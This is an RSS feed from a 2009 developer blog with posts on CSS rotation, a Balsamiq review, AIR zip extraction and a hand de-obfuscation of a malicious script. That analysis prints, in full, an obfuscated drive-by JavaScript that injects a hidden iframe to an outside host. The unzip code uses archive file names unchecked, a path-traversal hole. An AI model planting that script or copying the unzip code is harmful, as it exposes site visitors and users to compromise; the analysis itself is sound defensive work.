<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Logaholic.de &#187; JavaScript</title>
	<atom:link href="http://www.logaholic.de/category/technik/javascript-technik/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.logaholic.de</link>
	<description>queer as code!</description>
	<lastBuildDate>Fri, 09 Dec 2011 13:47:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Reading browser history with css and javascript</title>
		<link>http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/</link>
		<comments>http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 19:16:15 +0000</pubDate>
		<dc:creator>Karsten Deubert</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[demo]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.logaholic.de/?p=398</guid>
		<description><![CDATA[This small script demonstrates how to check if a user has visited a particular url with his browser using css and javascript. Simple trick, small script, but could be dangerous &#8211; and you don&#8217;t see a damn thing.
The only protection against this of which i know is NoScript or just turning off JavaScript in your [...]


Related posts:<ol><li><a href='http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/' rel='bookmark' title='Permanent Link: Twiddling with obfuscated JavaScript code'>Twiddling with obfuscated JavaScript code</a></li><li><a href='http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/' rel='bookmark' title='Permanent Link: Uncompressing Zip-files with subfolders in AIR applications via JavaScript'>Uncompressing Zip-files with subfolders in AIR applications via JavaScript</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p><a title="reading browser history via css and javascript" href="http://www.logaholic.de/showroom/css_js_browser_history/" target="_blank">This small script demonstrates how to check if a user has visited a particular url with his browser using css and javascript</a>. Simple trick, small script, but could be dangerous &#8211; and you don&#8217;t see a damn thing.</p>
<p>The only protection against this of which i know is NoScript or just turning off JavaScript in your browser&#8230;</p>


<p>Related posts:<ol><li><a href='http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/' rel='bookmark' title='Permanent Link: Twiddling with obfuscated JavaScript code'>Twiddling with obfuscated JavaScript code</a></li><li><a href='http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/' rel='bookmark' title='Permanent Link: Uncompressing Zip-files with subfolders in AIR applications via JavaScript'>Uncompressing Zip-files with subfolders in AIR applications via JavaScript</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rotating dom elements with css3 and jscript/jquery animation</title>
		<link>http://www.logaholic.de/2009/09/24/rotating-dom-elements-with-css3-and-jscriptjquery-animation/</link>
		<comments>http://www.logaholic.de/2009/09/24/rotating-dom-elements-with-css3-and-jscriptjquery-animation/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 14:04:27 +0000</pubDate>
		<dc:creator>Karsten Deubert</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Technik]]></category>
		<category><![CDATA[animation]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[rotating]]></category>

		<guid isPermaLink="false">http://www.logaholic.de/?p=393</guid>
		<description><![CDATA[If you want to rotate dom elements, webkit offers you
-webkit-transform: rotate(0deg);
and firefox offers you
-moz-transform: rotate(0deg);
I hacked together a small demo rotating dom elements with css including some animation with jscript/jquery.


No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p>If you want to rotate dom elements, webkit offers you</p>
<pre>-webkit-transform: rotate(0deg);</pre>
<p>and firefox offers you</p>
<pre id="line1">-moz-transform: rotate(0deg);</pre>
<p>I hacked together a small <a title="demo rotating dom elements with css including some animation with jscript/jquery" href="http://www.logaholic.de/showroom/css3_rotator/">demo rotating dom elements with css including some animation with jscript/jquery</a>.</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.logaholic.de/2009/09/24/rotating-dom-elements-with-css3-and-jscriptjquery-animation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Balsamiq Mockups &#8211; impressive software with an even more impressive story</title>
		<link>http://www.logaholic.de/2009/05/24/balsamiq-mockups-impressive-software-with-an-even-more-impressive-story/</link>
		<comments>http://www.logaholic.de/2009/05/24/balsamiq-mockups-impressive-software-with-an-even-more-impressive-story/#comments</comments>
		<pubDate>Sun, 24 May 2009 21:55:28 +0000</pubDate>
		<dc:creator>Karsten Deubert</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[Balsamiq]]></category>
		<category><![CDATA[Mockups]]></category>

		<guid isPermaLink="false">http://www.logaholic.de/?p=278</guid>
		<description><![CDATA[Since the first time I have seen Balsamiq Mockups, it rocked my world. It is now a pleasure to create mockups. With Mockups, this is a fast and intuitive process, for everyone. Yes, I like this tool as a developer, and I am sure that any non-developer will also like it as much!
There are a [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-295" title="mockups_fpa" src="http://www.logaholic.de/wp-content/uploads/2009/05/mockups_fpa.jpg" alt="mockups_fpa" width="370" height="285" style="float: right; margin-left: 5px;" />Since the first time I have seen <a title="Balsamiq Mockups" href="http://www.balsamiq.com/products/mockups" target="_blank">Balsamiq Mockups</a>, it rocked my world. It is now a pleasure to create mockups. With Mockups, this is a fast and intuitive process, for everyone. Yes, I like this tool as a developer, and I am sure that any non-developer will also like it as much!</p>
<p>There are a lot of shapes one can choose like a browser window, iphone window, any other window, webcontrols, etc. The result can be exported as PNG or saved as XML. With XML files one can even diff/merge mockups <img src='http://www.logaholic.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Short overview:</p>
<div id="bd">
<blockquote>
<ul>
<li><em>Create software mockups in minutes</em></li>
<li><em>Collaborate with your team</em></li>
<li><em>Focus on creating your product</em></li>
</ul>
</blockquote>
</div>
<p>The guy/company behind Mockups, Giacomo ‘Peldi’ Guilizzoni, is even more impressive. There is a very good interview over at 37 signals (see Sources):</p>
<blockquote><p><em><span id="extended">&#8220;I never really understood the concept of building a company with the goal to sell it, or why one should have an ‘exit strategy.’ I just don’t get it. If you’re doing what you love, why would you want to ‘exit’? Maybe it’s because I am Italian, but I see nothing wrong with a business staying small in the long run. As long as we do great work, are happy to do it, and make people happy with it, I see no reason to change anything.&#8221;</span></em></p></blockquote>
<p>Thank you again for the kind response to my email, Balsamiq Team, and the chance to review this very nice (and therefore rare) piece of software.</p>
<p><strong>Sources:</strong>
<ul>
<li><a title="Balsamiq Mockups" href="http://www.balsamiq.com/products/mockups" target="_blank">Balsamiq Mockups</a></li>
<li><a title="Interview with CEO Peldi Guilizzoni about the growth of Balsamiq" href="http://www.37signals.com/svn/posts/1733-interview-with-ceo-peldi-guilizzoni-about-the-growth-of-balsamiq" target="_blank">Interview with CEO Peldi Guilizzoni about the growth of Balsamiq</a></li>
<li><a title="Balsamiq Blog - Bootstrapping a Micro ISV, Exposed" href="http://www.balsamiq.com/blog/" target="_blank">Balsamiq Blog &#8211; Bootstrapping a Micro ISV, Exposed</a></li>
</ul>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.logaholic.de/2009/05/24/balsamiq-mockups-impressive-software-with-an-even-more-impressive-story/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uncompressing Zip-files with subfolders in AIR applications via JavaScript</title>
		<link>http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/</link>
		<comments>http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/#comments</comments>
		<pubDate>Mon, 18 May 2009 14:52:30 +0000</pubDate>
		<dc:creator>Karsten Deubert</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Technik]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[Subfolders]]></category>
		<category><![CDATA[Uncompress]]></category>
		<category><![CDATA[Zip]]></category>

		<guid isPermaLink="false">http://www.logaholic.de/?p=260</guid>
		<description><![CDATA[I am currently building an AIR application with JavaScript (jQuery + jQuery UI), one function downloads zipped files and has to extract the contents somewhere to the local filesystem. Since the files may contain subfolders, i didn&#8217;t find any working example supporting subfolders in the docs or via google.
I found an Adobe Tutorial for basic [...]


Related posts:<ol><li><a href='http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/' rel='bookmark' title='Permanent Link: Twiddling with obfuscated JavaScript code'>Twiddling with obfuscated JavaScript code</a></li><li><a href='http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/' rel='bookmark' title='Permanent Link: Reading browser history with css and javascript'>Reading browser history with css and javascript</a></li><li><a href='http://www.logaholic.de/2009/05/16/running-air-applications-straight-from-eclipse-windows-without-plugins/' rel='bookmark' title='Permanent Link: Running AIR Applications straight from Eclipse (Windows) without plugins'>Running AIR Applications straight from Eclipse (Windows) without plugins</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p>I am currently building an AIR application with JavaScript (jQuery + jQuery UI), one function downloads zipped files and has to extract the contents somewhere to the local filesystem. Since the files may contain subfolders, i didn&#8217;t find any working example supporting subfolders in the docs or via google.</p>
<p>I found an Adobe Tutorial for basic Zip files (see Sources), and after reading the zip specs there was just one small change to their code to get it working with subfolders.</p>
<p><strong>The spec says that entries in the zip file which are directories just end with an &#8216;/&#8217;. Skipping them is the whole magic.</strong> (see line 48)</p>
<p>Thankfully, the air.FileStream autocreates director ies, so writing the files to the subfolders does not need any change to the code. I added a basepath as parameter to the outFile function, to complete the for me intuitive function <strong>unzipFile(sourceFile, targetPath)</strong>.</p>
<p>Here is the code:</p>
<pre class="brush: javascript; highlight: [48];"> function unzipFile(sourceFile, targetPath)
{
	var bytes = new air.ByteArray();
	var fileName = new String();
	var flNameLength;
	var xfldLength;
	var offset;
	var compSize;
	var uncompSize;
	var compMethod;
	var signature; 

	var zfile = air.File.applicationStorageDirectory.resolvePath(sourceFile);
	var zStream = new air.FileStream();
	zStream.open(zfile, air.FileMode.READ);
	bytes.endian = air.Endian.LITTLE_ENDIAN;

	while (zStream.position &lt; zfile.size)
    {
		// read fixed metadata portion of local file header
        zStream.readBytes(bytes, 0, 30);

		bytes.position = 0;
        signature = bytes.readInt();
        // if no longer reading data files, quit
        if (signature != 0x04034b50)
        {
            break;
        }

		bytes.position = 8;
        compMethod = bytes.readByte();  // store compression method (8 == Deflate)

		offset = 0;    // stores length of variable portion of metadata
        bytes.position = 26;  // offset to file name length
        flNameLength = bytes.readShort();    // store file name
        offset += flNameLength;     // add length of file name
        bytes.position = 28;    // offset to extra field length
        xfldLength = bytes.readShort();
        offset += xfldLength;    // add length of extra field

		// read variable length bytes between fixed-length header and compressed file data
        zStream.readBytes(bytes, 30, offset);

		bytes.position = 30;
        fileName = bytes.readUTFBytes(flNameLength); // read file name 

		if (fileName.substr(fileName.length - 1, 1) != '/')
		{
			bytes.position = 18;
			compSize = bytes.readUnsignedInt(); // store size of compressed portion
			bytes.position = 22; // offset to uncompressed size
			uncompSize = bytes.readUnsignedInt(); // store uncompressed size 

			// read compressed file to offset 0 of bytes; for uncompressed files
			// the compressed and uncompressed size is the same
			zStream.readBytes(bytes, 0, compSize);

			if (compMethod == 8 ) // if file is compressed, uncompress
			{
				bytes.uncompress(air.CompressionAlgorithm.DEFLATE);
			}
			outFile(targetPath, fileName, bytes); // call outFile() to write out the file
		}
	}
}</pre>
<p>This is the outFile function which writes the uncompressed files to the local file system.</p>
<pre class="brush: javascript;"> function outFile(baseDir, fileName, data)
{
    var outFile = air.File.applicationStorageDirectory;
    outFile = outFile.resolvePath(baseDir+air.File.separator+fileName);
    var outStream = new air.FileStream();
    outStream.open(outFile, air.FileMode.WRITE);
    outStream.writeBytes(data, 0, data.length);
    outStream.close();
}</pre>
<p><strong>Sources:</strong></p>
<ul>
<li><a title="Adobe Air 1.1 - ByteArray example: Reading a .zip file" href="http://help.adobe.com/en_US/AIR/1.1/devappshtml/WS5b3ccc516d4fbf351e63e3d118666ade46-7d53.html" target="_blank">Adobe Air 1.1 &#8211; ByteArray example: Reading a .zip file</a></li>
<li><a title=".Zip File Format Specification" href="http://www.pkware.com/documents/casestudies/APPNOTE.TXT" target="_blank">PKWARE &#8211; .Zip File Format Specification</a></li>
</ul>


<p>Related posts:<ol><li><a href='http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/' rel='bookmark' title='Permanent Link: Twiddling with obfuscated JavaScript code'>Twiddling with obfuscated JavaScript code</a></li><li><a href='http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/' rel='bookmark' title='Permanent Link: Reading browser history with css and javascript'>Reading browser history with css and javascript</a></li><li><a href='http://www.logaholic.de/2009/05/16/running-air-applications-straight-from-eclipse-windows-without-plugins/' rel='bookmark' title='Permanent Link: Running AIR Applications straight from Eclipse (Windows) without plugins'>Running AIR Applications straight from Eclipse (Windows) without plugins</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Twiddling with obfuscated JavaScript code</title>
		<link>http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/</link>
		<comments>http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 08:18:53 +0000</pubDate>
		<dc:creator>Karsten Deubert</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Obfuscation]]></category>

		<guid isPermaLink="false">http://www.logaholic.de/?p=60</guid>
		<description><![CDATA[Today a friend of mine sent me a link to a blog, at which my virus-scanner went havoc. HTML/Crypt.Gen Stuff, Trojan warning, etc.
After getting the scanner to really let me see the source (&#8230;), i found this:

&#60;script language=&#34;JavaScript&#34; type=&#34;text/javascript&#34;&#62;
B46F5DF=&#34;pars&#34;;B46F5DF+=&#34;eInt&#34;;D8FA33DFE494F=&#34;Stri&#34;;D8FA33DFE494F+=&#34;ng&#34;;D8FA33DFE494F+=&#34;.fr&#34;;D8FA33DFE494F+=&#34;om&#34;;D8FA33DFE494F+=&#34;CharCode&#34;;function A2E39329F3265(B5A87C40BB26CEA){var E46F3EB4=525;E46F3EB4=E46F3EB4-509;BD0AB=eval(B46F5DF+&#34;(B5A87C40BB26CEA,E46F3EB4)&#34;);return(BD0AB);}function AFE763E61CEF(C4D8544E71077){var C58BCCF5D58E99C=982;C58BCCF5D58E99C=C58BCCF5D58E99C-980;var A04698CEC=&#34;&#34;;for(B3CA4BA50C=0;B3CA4BA50C&#60;C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){A04698CEC+=( eval(D8FA33DFE494F+&#34;(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))&#34;));}eval(A04698CEC);}AFE763E61CEF(&#34;69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D&#34;);
&#60;/script&#62;

I now was eager to find out what this does, so [...]


Related posts:<ol><li><a href='http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/' rel='bookmark' title='Permanent Link: Reading browser history with css and javascript'>Reading browser history with css and javascript</a></li><li><a href='http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/' rel='bookmark' title='Permanent Link: Uncompressing Zip-files with subfolders in AIR applications via JavaScript'>Uncompressing Zip-files with subfolders in AIR applications via JavaScript</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p>Today a friend of mine sent me a link to a blog, at which my virus-scanner went havoc. HTML/Crypt.Gen Stuff, Trojan warning, etc.<br />
After getting the scanner to really let me see the source (&#8230;), i found this:</p>
<pre class="brush: javascript;">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/javascript&quot;&gt;
B46F5DF=&quot;pars&quot;;B46F5DF+=&quot;eInt&quot;;D8FA33DFE494F=&quot;Stri&quot;;D8FA33DFE494F+=&quot;ng&quot;;D8FA33DFE494F+=&quot;.fr&quot;;D8FA33DFE494F+=&quot;om&quot;;D8FA33DFE494F+=&quot;CharCode&quot;;function A2E39329F3265(B5A87C40BB26CEA){var E46F3EB4=525;E46F3EB4=E46F3EB4-509;BD0AB=eval(B46F5DF+&quot;(B5A87C40BB26CEA,E46F3EB4)&quot;);return(BD0AB);}function AFE763E61CEF(C4D8544E71077){var C58BCCF5D58E99C=982;C58BCCF5D58E99C=C58BCCF5D58E99C-980;var A04698CEC=&quot;&quot;;for(B3CA4BA50C=0;B3CA4BA50C&lt;C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){A04698CEC+=( eval(D8FA33DFE494F+&quot;(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))&quot;));}eval(A04698CEC);}AFE763E61CEF(&quot;69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D&quot;);
&lt;/script&gt;
</pre>
<p>I now was eager to find out what this does, so i started to de-obfuscate this by hand:</p>
<h3>1. Adding linebreaks:</h3>
<pre class="brush: javascript;">
B46F5DF=&quot;pars&quot;;
B46F5DF+=&quot;eInt&quot;;
D8FA33DFE494F=&quot;Stri&quot;;
D8FA33DFE494F+=&quot;ng&quot;;
D8FA33DFE494F+=&quot;.fr&quot;;
D8FA33DFE494F+=&quot;om&quot;;
D8FA33DFE494F+=&quot;CharCode&quot;;
function A2E39329F3265(B5A87C40BB26CEA){
    var E46F3EB4=525;
    E46F3EB4=E46F3EB4-509;
    BD0AB=eval(B46F5DF+&quot;(B5A87C40BB26CEA,E46F3EB4)&quot;);
    return(BD0AB);
}

function AFE763E61CEF(C4D8544E71077){
    var C58BCCF5D58E99C=982;
    C58BCCF5D58E99C=C58BCCF5D58E99C-980;
    var A04698CEC=&quot;&quot;;
    for(B3CA4BA50C=0;B3CA4BA50C&lt;C4D8544E71077.length;B3CA4BA50C+=C58BCCF5D58E99C){
        A04698CEC+=( eval(D8FA33DFE494F+&quot;(A2E39329F3265(C4D8544E71077.substr(B3CA4BA50C,C58BCCF5D58E99C)))&quot;));
    }
    eval(A04698CEC);
}

AFE763E61CEF(&quot;69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D&quot;);
</pre>
<h3>2. Renaming the stuff, removing obfuscation:</h3>
<pre class="brush: javascript;">
function hex2dec(param1){
    BD0AB=parseInt(param1,16);
    return(BD0AB);
}

function decodeAndEval(param1){
    var buffer=&quot;&quot;;
    for(i=0;i&lt;param1.length;i+=2){
        buffer+=( String.fromCharCode(hex2dec(param1.substr(i,2))) );
    }
    eval(buffer);
}

decodeAndEval(&quot;69662028646F63756D656E742E636F6F6B69652E736561726368282272746E78773D372229203D3D202D3129207B0A726A7061743D646F63756D656E742E676574456C656D656E744279496428277174697427293B696628726A7061743D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71746974207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202272746E78773D373B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D&quot;);
</pre>
<h3>3. Echoing the decoded string:</h3>
<pre class="brush: javascript; auto-links: false;">
if (document.cookie.search(&quot;rtnxw=7&quot;) == -1) {
rjpat=document.getElementById('qtit');if(rjpat==null){document.write('&lt;iframe id=qtit src=http://gstats.cn style=display:none&gt;&lt;/iframe&gt;');}
document.cookie = &quot;rtnxw=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/&quot;;}
</pre>
<p>So this small JavaScript opens an Iframe to some chinese website, which is right now marked as offensive in my firefox. I like small riddles in the morning <img src='http://www.logaholic.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>


<p>Related posts:<ol><li><a href='http://www.logaholic.de/2009/10/04/reading-browser-history-with-css-and-javascript/' rel='bookmark' title='Permanent Link: Reading browser history with css and javascript'>Reading browser history with css and javascript</a></li><li><a href='http://www.logaholic.de/2009/05/18/uncompressing-zip-files-with-subfolders-in-air-applications-via-javascript/' rel='bookmark' title='Permanent Link: Uncompressing Zip-files with subfolders in AIR applications via JavaScript'>Uncompressing Zip-files with subfolders in AIR applications via JavaScript</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.logaholic.de/2009/04/24/twiddling-with-obfuscated-javascript-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

